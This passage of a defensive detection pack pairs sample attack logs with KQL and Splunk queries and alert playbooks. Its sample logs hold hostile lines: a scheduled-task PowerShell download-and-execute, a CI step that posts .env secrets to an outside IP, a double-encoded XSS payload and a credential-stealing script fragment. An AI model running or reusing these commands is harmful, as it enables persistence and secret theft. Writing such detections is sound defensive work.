  "Protocol": "SMTP",  
  "Attempts": 160,  
  "Blocked": false  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

SigninLogs

```
| where ClientAppUsed in ("Other clients", "IMAP", "POP", "SMTP")  
| where ResultType == 50126 or FailureReason has "Invalid username or password"  
| summarize Attempts = count() by bin(Timestamp, 1m), IPAddress, Protocol  
| where Attempts > 100
```

SPLUNK

```
index=azure_signinlogs  
| search ClientAppUsed="SMTP" Result="Failure"  
| bucket _time span=1m  
| stats count by IPAddress, Protocol, _time  
| where count > 100
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Legacy Authentication Password Spray

Severity: High

Description: 160 failed SMTP authentication attempts detected from 201.45.80.90. Legacy auth still enabled; password spray likely in progress.

Recommended Action:

- Block source IP and disable legacy auth (POP/IMAP/SMTP)
- Enforce modern authentication (OAuth2/MFA)
- Monitor for any successful login attempts from same IP
- Check audit logs for lateral movement or mail rule abuse

## **DETECTION PACK ENTRY 17**

**USE CASE: ROGUE APP AUTHORIZATION IN GOOGLE WORKSPACE**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1528 - ABUSE OF TRUSTED THIRD-PARTY APPLICATIONS**

**ENVIRONMENT: GOOGLE WORKSPACE ADMIN LOGS + OAUTH CONSENT LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: OAuth Token Grant Logs

```
{  
  "Timestamp": "2025-07-01T22:04:35Z",  
  "User": "naim.saleh@clientorg.com",  
  "AppName": "SecureShareX",  
  "ScopesGranted": [  
    "https://www.googleapis.com/auth/gmail.modify",  
    "https://www.googleapis.com/auth/drive.readonly",  
    "https://www.googleapis.com/auth/admin.directory.user.readonly"  
,  
  ],  
  "ConsentType": "Individual",  
  "IP": "192.241.77.12"  
}
```

Data Source: Workspace Activity Logs

```
{  
  "Event": "App Authorization",  
  "User": "naim.saleh@clientorg.com",  
  "AppID": "a92kz3-rogue",  
  "Scopes": "Gmail.Modify, Drive.ReadOnly",  
  "RiskLevel": "High"  
}
```

### **DETECTION QUERY**

KQL (GCP logs via Sentinel)

```
GWorkspaceOAuthGrants  
| where Scopes has_any ("gmail.modify", "drive.readonly", "admin.directory")  
| summarize count() by User, AppName, bin(Timestamp, 1h)  
| where count_ > 1
```

## SPLUNK

```
index=gcp_oauth OR index=gsuite_logs  
| search Scopes="*gmail.modify*" OR Scopes="*drive.readonly*"  
| stats count by User,AppName,AppID,_time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious OAuth App Authorized - SecureShareX

Severity: High

Description: naim.saleh@clientorg.com authorized a 3rd-party app with Gmail and Drive access scopes. App was not in pre-approved list.

Recommended Action:

- Revoke app access from user account
- Investigate scope usage via Gmail/Drive logs
- Check for lateral authorization abuse
- Add app ID to OAuth deny list if confirmed malicious

## **DETECTION PACK ENTRY 18**

**USE CASE: CREDENTIAL HARVESTING VIA ROGUE WI-FI ACCESS POINT**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1557.002 - ADVERSARY-IN-THE-MIDDLE: WI-FI**

**ENVIRONMENT: NDR + EDR + WIRELESS CONTROLLER LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Wireless Controller Event Logs

```
{  
  "Timestamp": "2025-07-01T23:51:02Z",  
  "SSID": "CorpGuest",  
  "DeviceMAC": "00:1a:2b:3c:4d:5e",  
  "SignalStrength": "-40 dBm",  
  "AccessPoint": "Unregistered",  
  "Location": "HQ-Lobby"  
}
```

Data Source: NDR Logs

```
{  
  "SourceMAC": "00:1a:2b:3c:4d:5e",  
  "TrafficPattern": "Captive portal phishing login page",  
  "TLSInspection": "Self-signed certs detected",  
  "AnomalyScore": "High"  
}
```

### **DETECTION QUERY**

KQL (NDR telemetry via Sentinel)

```
NDRWirelessEvents  
| where AccessPointStatus == "Unregistered"  
| where SignalStrength > -50  
| where TrafficPattern has "phishing" or TLSInspection has "self-signed"  
| project Timestamp, SSID, DeviceMAC, Location
```

### **SPLUNK**

```
index=ndr OR index=wifi_logs  
| search AccessPoint="Unregistered" SignalStrength>-50  
| search TLSInspection="*self-signed*" OR TrafficPattern="*phishing*"
```

```
| stats count by DeviceMAC, SSID, Location, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Rogue Wi-Fi AP Captive Portal Phishing Detected

Severity: High

Description: Device 00:1a:2b:3c:4d:5e broadcasted a fake CorpGuest SSID near HQ lobby.  
Phishing portal and self-signed TLS cert observed.

Recommended Action:

- Locate rogue AP physically and disconnect
- Notify all users of potential credential compromise
- Reset credentials of users who connected recently
- Enable wireless intrusion prevention in critical areas

## **DETECTION PACK ENTRY 19**

**USE CASE: LATERAL MOVEMENT VIA REMOTE DESKTOP PROTOCOL (RDP)**

**TACTIC: LATERAL MOVEMENT**

**TECHNIQUE: T1021.001 - REMOTE SERVICES: RDP**

**ENVIRONMENT: WINDOWS + FIREWALL LOGS + SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Windows Event Log (4624 + 4778)

```
{  
    "Timestamp": "2025-07-02T08:33:42Z",  
    "EventID": 4624,  
    "LogonType": 10,  
    "User": "internal.support",  
    "SourceIP": "10.1.10.25",  
    "TargetHost": "FIN-DB-02",  
    "Authentication": "NTLM"  
}
```

Data Source: Sysmon Event ID 3 (Network Connection)

```
{  
    "Timestamp": "2025-07-02T08:33:43Z",  
    "SourceImage": "C:\Windows\System32\mstsc.exe",  
    "DestinationIP": "10.1.10.40",  
    "DestinationPort": 3389,  
    "InitiatingUser": "internal.support"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
SecurityEvent  
| where EventID == 4624 and LogonType == 10  
| join kind=inner (  
    DeviceNetworkEvents  
    | where RemotePort == 3389  
) on AccountName  
| project Timestamp, AccountName, RemoteIP, DeviceName, AuthenticationProtocol
```

SPLUNK

```
index=wineventlog OR index=sysmon  
| search EventCode=4624 LogonType=10  
| join AccountName [  
    search index=sysmon DestinationPort=3389  
]  
| stats count by AccountName, SourceIP, DestinationIP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious RDP-Based Lateral Movement

Severity: High

Description: RDP session initiated by internal.support from 10.1.10.25 to FIN-DB-02. NTLM used instead of Kerberos, suggesting potential pass-the-hash.

Recommended Action:

- Validate if user was assigned such access
- Review access logs for other RDP attempts
- Check for signs of credential theft or misuse
- Consider disabling NTLM fallback in domain policy

## **DETECTION PACK ENTRY 20**

**USE CASE: MALICIOUS EXCEL MACRO EXECUTION**

**TACTIC: EXECUTION**

**TECHNIQUE: T1203 - EXPLOITATION FOR CLIENT EXECUTION**

**ENVIRONMENT: EDR + DEFENDER + OFFICE TELEMETRY**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: EDR and Microsoft Defender

```
{  
  "Timestamp": "2025-07-02T10:02:10Z",  
  "FileName": "Invoice_Q3_2025.xls",  
  "Source": "Email attachment",  
  "MacroExecution": "Enabled",  
  "ObservedBehaviour": [  
    "PowerShell execution",  
    "Download from 77.89.56.11/payload.ps1"  
,  
  ],  
  "Device": "HR-WS-09",  
  "User": "afrina.mahmood"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName endswith ".xlsm"  
| join kind=inner (  
  DeviceNetworkEvents  
  | where RemoteUrl has "payload.ps1"  
) on DeviceId  
| project Timestamp, AccountName, FileName, RemoteUrl, DeviceName
```

### **SPLUNK**

```
index=edr_logs OR index=defender  
| search FileName="*.xlsm" AND CommandLine="*powershell*" AND  
URL="*payload.ps1*"  
| stats count by User, DeviceName, FileName, URL, _time
```

### **ALERT OUTPUT EXAMPLE**

**Alert Name:** Malicious Excel Macro Triggered Payload Download

**Severity:** High

**Description:** A macro-enabled Excel file executed PowerShell and downloaded a payload from 77.89.56.11 on host HR-WS-09.

**Recommended Action:**

- Isolate host and terminate running script
- Remove macro file from user mailboxes if applicable
- Update email protection policy to sandbox macro-enabled attachments
- Conduct memory and disk analysis on affected endpoint

## **DETECTION PACK ENTRY 21**

**USE CASE: INSIDER PRIVILEGE ABUSE – ACCESS OUTSIDE JOB SCOPE**

**TACTIC: COLLECTION / EXFILTRATION**

**TECHNIQUE: T1081 - CREDENTIALS IN FILES / T1537 - TRANSFER DATA TO CLOUD**

**ENVIRONMENT: FILE ACCESS LOGS + DLP + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: File Server Access Logs

```
{  
  "Timestamp": "2025-07-02T11:12:00Z",  
  "User": "shazwan.kamil@clientorg.com",  
  "Device": "HR-WS-12",  
  "AccessedFolder": "\\\\FINANCE01\\\\Sensitive\\\\SalaryBreakdown\\\\",  
  "FilesAccessed": 38,  
  "JobTitle": "HR Assistant"  
}
```

Data Source: UEBA Alert

```
{  
  "User": "shazwan.kamil@clientorg.com",  
  "AnomalyType": "Access to finance files outside department",  
  "BaselineAccess": "0 files/week",  
  "CurrentAccess": "38 files",  
  "PeerGroup": "HR"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
FileAccessLogs  
| where FolderPath contains "Finance" and AccountName endswith "@clientorg.com"  
| summarize FileAccessCount = count() by AccountName,FolderPath, bin(Timestamp, 1h)  
| join kind=inner (  
    UEBAAlerts  
    | where AnomalyType has "outside department"  
) on AccountName
```

SPLUNK

```
index=file_server_logs OR index=ueba  
| search FolderPath="*Finance*" AND JobTitle="HR Assistant"  
| stats count by User, FolderPath, _time  
| where count > 20
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Insider Access to Privileged Finance Files

Severity: Medium-High

Description: shazwan.kamil@clientorg.com accessed 38 salary-related finance files.

Access was outside their HR role, flagged by UEBA as anomalous.

Recommended Action:

- Interview user and HR about access requirement
- Review change history of accessed files
- Apply file access restrictions and segmentation
- Monitor cloud upload or USB transfer attempts

## **DETECTION PACK ENTRY 22**

**USE CASE: WAF BYPASS VIA ENCODED PAYLOAD INJECTION**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1190 - EXPLOIT PUBLIC-FACING APPLICATION**

**ENVIRONMENT: WEB SERVER LOGS + WAF + SIEM**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

```
{  
  "Timestamp": "2025-07-02T13:47:30Z",  
  "SourceIP": "185.104.78.45",  
  "Request": "GET /search.php?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E  
HTTP/1.1",  
  "DecodedPayload": "<script>alert(1)</script>",  
  "UserAgent": "curl/7.81.0"  
}
```

Data Source: WAF Logs

```
{  
  "Timestamp": "2025-07-02T13:47:31Z",  
  "DetectionStatus": "Allowed",  
  "RuleEvaluation": "Passed",  
  "Reason": "Payload encoding not recognized",  
  "RuleSet": "Basic XSS"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
WAFLogs  
| where RequestUri has "%253Cscript%253E" or RequestUri has "%252Fscript%253E"  
| extend DecodedPayload = url_decode(url_decode(RequestUri))  
| where DecodedPayload has "<script>" or DecodedPayload has "alert"  
| project Timestamp, SourceIP, RequestUri, DecodedPayload, DetectionStatus
```

SPLUNK

```
index=web_logs OR index=waf_logs  
| eval DecodedRequest=urldecode(urldecode(Request))  
| search DecodedRequest="*<script>*" OR DecodedRequest="*alert*"  
| stats count by SourceIP, DecodedRequest, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: WAF Bypass Attempt via Double-Encoded Payload

Severity: High

Description: An attacker from 185.104.78.45 sent a double URL-encoded XSS payload that bypassed standard WAF XSS rules.

Recommended Action:

- Block IP and inspect WAF rule configuration
- Re-test WAF against double encoding and evasions
- Check web server error logs and parameter handling
- Apply strict content validation on backend

## **DETECTION PACK ENTRY 23**

**USE CASE: CLOUD API ABUSE VIA LEAKED TOKEN**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1528 - STEAL APPLICATION ACCESS TOKEN**

**ENVIRONMENT: CLOUDTRAIL + GIT LOGS + CSPM**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GitHub Code Push Logs

```
{  
  "Timestamp": "2025-07-02T15:21:14Z",  
  "User": "intern-dev",  
  "Repository": "clientorg/web-admin",  
  "File": "config.py",  
  "CommitMsg": "initial test commit",  
  "ExposedValue": "aws_access_key_id = 'AKIAIOSFODNN7EXAMPLE'"  
}
```

Data Source: AWS CloudTrail

```
{  
  "EventTime": "2025-07-02T15:23:30Z",  
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",  
  "EventName": "ListBuckets",  
  "SourceIP": "137.184.99.18",  
  "UserAgent": "python-boto3/1.26",  
  "Action": "Successful"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – AWS ingestion)

```
AWSCloudTrail  
| where UserAgent has "boto3" and EventName has "ListBuckets"  
| where SourcelpAddress != "approved_org_ips"  
| join kind=inner (  
    GitRepoEvents  
    | where File contains "config" and ExposedValue has "AKIA"  
) on AccessKeyId  
| project EventTime, User, File, CommitMsg, SourcelpAddress
```

## SPLUNK

```
index=cloudtrail OR index=git_commits
| search AccessKeyId="AKIA*" EventName="ListBuckets"
| join AccessKeyId [
    search index=git_commits File="*config*" AND CommitMsg="*initial*"
]
| stats count by User, AccessKeyId, SourceIP, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: AWS Key Used After GitHub Exposure

Severity: Critical

Description: AWS key AKIAIOSFODNN7EXAMPLE was leaked via GitHub by intern-dev and then used from an external IP (137.184.99.18) to list S3 buckets.

Recommended Action:

- Immediately revoke exposed keys
- Enable AWS access key scanning in code repos
- Review activity logs for all exposed keys
- Educate developers on secure secret storage (e.g., AWS Secrets Manager, environment variables)

## **DETECTION PACK ENTRY 24**

**USE CASE: SUPPLY CHAIN ATTACK VIA COMPROMISED SCRIPT LOADER**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1195.002 - COMPROMISE SOFTWARE DEPENDENCIES AND DEVELOPMENT TOOLS**

**ENVIRONMENT: WEB LOGS + CDN + SIEM**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: CDN and Web Server Logs

```
{  
  "Timestamp": "2025-07-02T16:18:09Z",  
  "RequestedScript": "https://cdn.clientorg.com/lib/jquery.min.js",  
  "Checksum": "f64dff2e13d87760e9d2...",  
  "ExpectedChecksum": "a69a9eaf3410eaef78b...",  
  "Anomaly": "Script hash mismatch",  
  "InjectionDetected": "Yes"  
}
```

Data Source: Web App Firewall

```
{  
  "ScriptOrigin": "cdn.clientorg.com",  
  "ScriptIntegrity": "Failed",  
  "AnomalyScore": "High",  
  "InjectedCode": "var stealCreds = new XMLHttpRequest(); stealCreds.open(...)"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

CDNLogs

```
| where RequestedScript endswith ".js"  
| extend ActualChecksum = hash_sha256(ScriptContent)  
| where ActualChecksum != ExpectedChecksum  
| join kind=inner (  
  WAFLogs  
  | where InjectedCode has "XMLHttpRequest"  
) on RequestedScript
```

SPLUNK

```
index=cdn_logs OR index=waf_logs
| search RequestedScript="*.js"
| eval IntegrityFailed=if(Checksum!=ExpectedChecksum, "true", "false")
| search IntegrityFailed="true"
| search InjectedCode="*XMLHttpRequest*"
| stats count by RequestedScript, InjectedCode, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Malicious Code Detected in CDN JavaScript Loader

Severity: High

Description: A compromised jquery.min.js file on CDN server had a hash mismatch and embedded code attempting to steal credentials via XMLHttpRequest.

Recommended Action:

- Replace compromised script on CDN
- Audit CDN uploads and integrity validation procedures
- Notify users to invalidate sessions if exposed
- Integrate Subresource Integrity (SRI) checks in HTML

## **DETECTION PACK ENTRY 25**

**USE CASE: REMOTE SCHEDULED TASK VIA WINDOWS UPDATE**

**IMPERSONATION**

**TACTIC: PERSISTENCE / PRIVILEGE ESCALATION**

**TECHNIQUE: T1053.005 - SCHEDULED TASK / JOB: SCHEDULED TASK**

**ENVIRONMENT: SYMON + WINDOWS LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1

```
{  
    "Timestamp": "2025-07-03T08:14:42Z",  
    "Image": "C:\\Windows\\System32\\schtasks.exe",  
    "CommandLine": "schtasks /create /tn \\\"WinUpdateSvc\\\" /tr \\\"powershell.exe -nop -w  
hidden -c IEX((New-Object Net.WebClient).DownloadString('http://203.0.113.45/u.ps1'))\\\"  
/sc daily /ru SYSTEM",  
    "User": "svc.deploy",  
    "ParentImage": "cmd.exe",  
    "Device": "DC-CORE-01"  
}
```

Data Source: Windows Event ID 4698 (Task Creation)

```
{  
    "ScheduledTaskName": "WinUpdateSvc",  
    "Author": "svc.deploy",  
    "RunAs": "SYSTEM",  
    "Trigger": "Daily",  
    "Command": "powershell.exe ...",  
    "ExecutionContext": "HighestAvailable"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName == "schtasks.exe" and ProcessCommandLine has_any  
("WinUpdateSvc", "powershell", "DownloadString")  
| join kind=inner (  
    SecurityEvent  
    | where EventID == 4698 and SubjectUserName !in ("Administrator", "SYSTEM")
```

```
) on DeviceName  
| project Timestamp, AccountName, ProcessCommandLine, DeviceName
```

SPLUNK

```
index=sysmon OR index=wineventlog  
| search CommandLine="*WinUpdateSvc*" AND CommandLine="*DownloadString*"  
| stats count by User, DeviceName, CommandLine, _time
```

### **ALERT OUTPUT EXAMPLE**

Alert Name: Malicious Scheduled Task Masquerading as Windows Update

Severity: High

Description: Task WinUpdateSvc created by svc.deploy on DC-CORE-01 runs PowerShell from a remote source as SYSTEM daily. Likely persistence technique.

Recommended Action:

- Delete scheduled task and block external IP
- Review all SYSTEM-scheduled tasks for anomalies
- Audit service account privileges
- Conduct forensic review of system for persistence

## **DETECTION PACK ENTRY 26**

**USE CASE: ABUSE OF OAUTH REFRESH TOKEN MECHANISM**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1528 - STEAL APPLICATION ACCESS TOKEN**

**ENVIRONMENT: IDENTITY LOGS + CLOUD APP SECURITY + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure AD Sign-in Logs

```
{  
  "Timestamp": "2025-07-03T10:29:55Z",  
  "UserPrincipalName": "nina.liew@clientorg.com",  
  "AppDisplayName": "Google Drive Integration",  
  "AuthenticationMethod": "RefreshToken",  
  "IP": "185.99.73.17",  
  "Location": "Ukraine",  
  "Result": "Success",  
  "AuthContextClass": "PreviouslyGrantedRefreshToken"  
}
```

Data Source: CASB / MCAS Logs

```
{  
  "User": "nina.liew@clientorg.com",  
  "Application": "Google Drive",  
  "TokenType": "Refresh",  
  "Detection": "Token reuse from foreign IP",  
  "Confidence": "High"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

SigninLogs

```
| where AuthenticationRequirement has "RefreshToken"  
| where LocationDetails !in ("Malaysia", "Singapore", "approved_geo")  
| project Timestamp, UserPrincipalName, AppDisplayName, IPAddress
```

SPLUNK

```
index=azure_signinlogs OR index=casb_logs
```

```
| search AuthenticationMethod="RefreshToken"  
| search IP!="approved_range"  
| stats count by UserPrincipalName, AppDisplayName, IP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious Reuse of OAuth Refresh Token from Foreign IP

Severity: High

Description: OAuth refresh token for nina.liew@clientorg.com was reused from an IP in Ukraine, likely stolen and reused to maintain persistence.

Recommended Action:

- Invalidate current refresh token for the app
- Require full re-authentication for the user
- Review app permissions and audit OAuth grants
- Notify user and rotate access to third-party apps

## **DETECTION PACK ENTRY 27**

**USE CASE: INSIDER LOG DELETION TO COVER FILE ACCESS**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1070.002 - CLEAR WINDOWS EVENT LOGS**

**ENVIRONMENT: WINDOWS SECURITY LOGS + FILE ACCESS LOGS +  
SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Windows Security Logs (Event ID 1102)

```
{  
  "Timestamp": "2025-07-03T13:12:00Z",  
  "User": "asma.farid@clientorg.com",  
  "EventID": 1102,  
  "Message": "The audit log was cleared.",  
  "LogCleared": "Security",  
  "Device": "LEGAL-WS-05"  
}
```

Data Source: File Access Logs (before 1102 event)

```
{  
  "User": "asma.farid@clientorg.com",  
  "FileAccessed": "\\\\LegalVault\\\\CaseFiles\\\\Private\\\\",  
  "FilesAccessed": 18,  
  "Timestamp": "2025-07-03T13:08:30Z"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
SecurityEvent  
| where EventID == 1102  
| join kind=inner (  
  FileAccessLogs  
  | where Timestamp between (ago(10m) .. now())  
) on AccountName  
| project Timestamp, AccountName, FileAccessed, DeviceName
```

SPLUNK

```
index=wineventlog EventCode=1102
| join AccountName [
    search index=file_access_logs earliest=-10m
]
| stats count by AccountName, DeviceName, FileAccessed, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Security Log Cleared After Accessing Confidential Files

Severity: High

Description: asma.farid@clientorg.com accessed confidential legal files and cleared the Windows Security log (Event ID 1102) minutes later.

Recommended Action:

- Isolate host LEGAL-WS-05 for forensic triage
- Recover logs from SIEM or backup archive
- Notify legal and HR teams for potential insider threat
- Enable tamper protection and alert on 1102 events org-wide

## **DETECTION PACK ENTRY 28**

**USE CASE: BEACONING TO KNOWN C2 INFRASTRUCTURE**

**TACTIC: COMMAND AND CONTROL**

**TECHNIQUE: T1071.001 - APPLICATION LAYER PROTOCOL: WEB**

**ENVIRONMENT: NDR + PROXY LOGS + THREAT INTELLIGENCE**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Proxy Logs

```
"Timestamp": "2025-07-03T14:40:19Z",
"SourceIP": "10.15.34.67",
"Domain": "cdn.secure-akamaie.com",
"RequestsPerHour": 134,
"BytesSent": 17 KB,
"BytesReceived": 1.6 KB,
"UserAgent": "python-requests/2.31"
}
```

Data Source: Threat Intelligence Feed

```
{
  "Domain": "cdn.secure-akamaie.com",
  "TLP": "White",
  "ThreatType": "C2 Beacon Infrastructure",
  "AssociatedAPT": "APT47"
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
ProxyLogs
| where Domain in~ ("cdn.secure-akamaie.com", "news.google-security[.]com")
| summarize Count = count(), AvgInterval = avg(toint(InterRequestDelay)) by SourceIP,
  Domain, bin(Timestamp, 1h)
| where Count > 100 and AvgInterval between (60 .. 70)
```

### **SPLUNK**

```
index=proxy_logs
| search Domain="cdn.secure-akamaie.com"
| bucket _time span=1h
```

```
| stats count as RequestCount sum(BytesReceived) as BR sum(BytesSent) as BS by  
SourceIP, Domain, _time  
| where RequestCount > 100 AND BR < 5000
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Beaconing to Known C2 Domain (APT47 Infrastructure)

Severity: High

Description: Device 10.15.34.67 made 134 HTTP requests to cdn.secure-akamaie.com, a domain associated with APT47 C2 infrastructure. Traffic volume is low, consistent with beaconing.

Recommended Action:

- Isolate and inspect endpoint memory for implants
- Correlate with EDR for suspicious child processes
- Block domain and review DNS history
- Tag IP in SIEM for further IOC correlation

## **DETECTION PACK ENTRY 29**

**USE CASE: KERBEROS PASS-THE-TICKET (PTT) ATTACK**

**TACTIC: LATERAL MOVEMENT**

**TECHNIQUE: T1550.003 - USE ALTERNATE AUTHENTICATION MATERIAL:**

**KERBEROS TICKETS**

**ENVIRONMENT: AD LOGS + EDR + SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Windows Event ID 4769

```
{  
  "Timestamp": "2025-07-03T15:11:44Z",  
  "User": "svc.web01@clientorg.com",  
  "ServiceName": "cifs/SERVER-DB01",  
  "IP": "10.11.2.100",  
  "TicketEncryptionType": "0x17 (RC4)",  
  "FailureReason": "N/A",  
  "EventID": 4769  
}
```

Data Source: EDR Detection

```
{  
  "Timestamp": "2025-07-03T15:12:03Z",  
  "AlertType": "Unusual Kerberos Ticket Injection",  
  "Technique": "Pass-the-Ticket",  
  "Process": "misc.exe",  
  "InjectedTicketHash": "rc4-hmac (0x17)",  
  "User": "svc.web01"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
SecurityEvent  
| where EventID == 4769 and TicketEncryptionType == "0x17"  
| summarize Count = count() by Account, ServiceName, IPAddress, bin(TimeGenerated, 1h)  
| join kind=inner (  
  DeviceAlertEvents  
  | where Title has "Ticket Injection"
```

) on Account

SPLUNK

```
index=wineventlog OR index=edr_logs
| search EventCode=4769 TicketEncryptionType="0x17"
| join User [
    search index=edr_logs AlertType="*Ticket Injection*"
]
| stats count by User, ServiceName, IP, _time
```

#### **ALERT OUTPUT EXAMPLE**

Alert Name: Kerberos Ticket Injection (Pass-the-Ticket) Detected

Severity: High

Description: Account svc.web01 used an RC4-encrypted Kerberos ticket for accessing SERVER-DB01. EDR flagged memory injection of the ticket via misc.exe.

Recommended Action:

- Investigate how ticket was obtained (e.g., LSASS dump)
- Rotate service account password
- Enable AES encryption and disable RC4 on domain
- Monitor for further lateral movement using ticket reuse

## **DETECTION PACK ENTRY 30**

**USE CASE: SUSPICIOUS FILE RENAMING TO EVADE DETECTION**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1036.003 - MASQUERADING: RENAME SYSTEM UTILITIES**

**ENVIRONMENT: EDR + SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1

```
{  
    "Timestamp": "2025-07-03T15:59:02Z",  
    "OriginalFile": "powershell.exe",  
    "RenamedAs": "update_task.exe",  
    "Path": "C:\\Users\\Public\\Tools\\update_task.exe",  
    "User": "temp.operator",  
    "ParentProcess": "explorer.exe"  
}
```

Data Source: DeviceProcessEvents

```
{  
    "Device": "ENG-WS-22",  
    "ProcessName": "update_task.exe",  
    "CommandLine": "update_task.exe -nop -w hidden -c IEX(...)",  
    "Detection": "Renamed system binary with execution",  
    "Score": "High"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where FileName endswith ".exe" and OriginalFileName == "powershell.exe"  
| where FileName != "powershell.exe"  
| project Timestamp, DeviceName, AccountName, FileName, OriginalFileName,  
ProcessCommandLine
```

### **SPLUNK**

```
index=edr_logs OR index=sysmon  
| search OriginalFile="powershell.exe" FileName!="powershell.exe"
```

```
| stats count by User, FileName, OriginalFile, CommandLine, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: System Binary Renamed to Evade Detection

Severity: High

Description: PowerShell was renamed as update\_task.exe by temp.operator and executed with suspicious flags. Common evasion technique seen in malware campaigns.

Recommended Action:

- Kill the process and delete renamed binary
- Review user context and potential malware drops
- Block renamed system binaries from execution via AppLocker
- Hunt for similar renaming patterns across estate

## **DETECTION PACK ENTRY 31**

**USE CASE: CI/CD PIPELINE COMPROMISE VIA MALICIOUS GITHUB ACTIONS**

**TACTIC: INITIAL ACCESS / EXECUTION**

**TECHNIQUE: T1195.003 - SUPPLY CHAIN COMPROMISE: CI/CD CONFIGURATION**

**ENVIRONMENT: GITHUB LOGS + GITHUB ACTIONS + CSPM**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GitHub Actions Audit Logs

```
{  
  "Timestamp": "2025-07-04T08:44:10Z",  
  "Repository": "clientorg/app-backend",  
  "Workflow": "ci.yml",  
  "InitiatedBy": "external-contrib",  
  "StepExecuted": "curl -X POST http://198.51.100.23:8080/ --data @.env",  
  "Outcome": "Success",  
  "Runner": "ubuntu-latest"  
}
```

Data Source: Git Commit Log

```
{  
  "CommitHash": "9b3a8d1",  
  "Contributor": "external-contrib",  
  "Change": "Modified ci.yml to add external data post step",  
  "Detection": "No code review on pull request",  
  "Repository": "clientorg/app-backend"  
}
```

### **DETECTION QUERY**

KQL (via GitHub Audit API logs in Sentinel)

```
GitHubAuditLogs  
| where Action == "workflow_run" and StepExecuted has "curl" and StepExecuted has  
"@.env"  
| join kind=inner (  
  GitCommits  
  | where Contributor !in ("trusted_users")  
) on Repository
```

```
| project Timestamp, Repository, Contributor, StepExecuted
```

SPLUNK

```
index=github_logs OR index=ci_cd  
| search StepExecuted="*curl*" StepExecuted="*@.env*"  
| join Contributor [  
    search index=git_commits NOT Contributor IN ("trusted_users")  
]  
| stats count by Repository, Contributor, StepExecuted, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: CI/CD Abuse – Malicious GitHub Actions Step Injected

Severity: Critical

Description: An unreviewed pull request modified ci.yml to POST .env files to an external server. Detected on clientorg/app-backend.

Recommended Action:

- Revoke and rotate leaked secrets
- Audit all recent merges for workflow manipulation
- Enforce code reviews and GitHub branch protections
- Block outgoing traffic from runners to untrusted IPs

## **DETECTION PACK ENTRY 32**

**USE CASE: DATA EXFILTRATION VIA CLOUD STORAGE SYNC CLIENT**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1567.002 - EXFILTRATION TO CLOUD STORAGE**

**ENVIRONMENT: FILE ACCESS LOGS + NETWORK PROXY + DLP**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: File Monitoring Logs

```
{  
  "Timestamp": "2025-07-04T09:52:33Z",  
  "Device": "OPS-WS-11",  
  "User": "kyle.wong@clientorg.com",  
  "FilesMoved": 243,  
  "Folder": "C:\\\\Users\\\\kyle.wong\\\\OneDrive\\\\Sync",  
  "TotalSize": "1.8GB"  
}
```

Data Source: Proxy Logs

```
{  
  "Destination": "onedrive.live.com",  
  "TrafficType": "Upload",  
  "BytesSent": 1.86GB,  
  "Timestamp": "2025-07-04T09:53:10Z",  
  "Application": "OneDrive.exe"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceFileEvents  
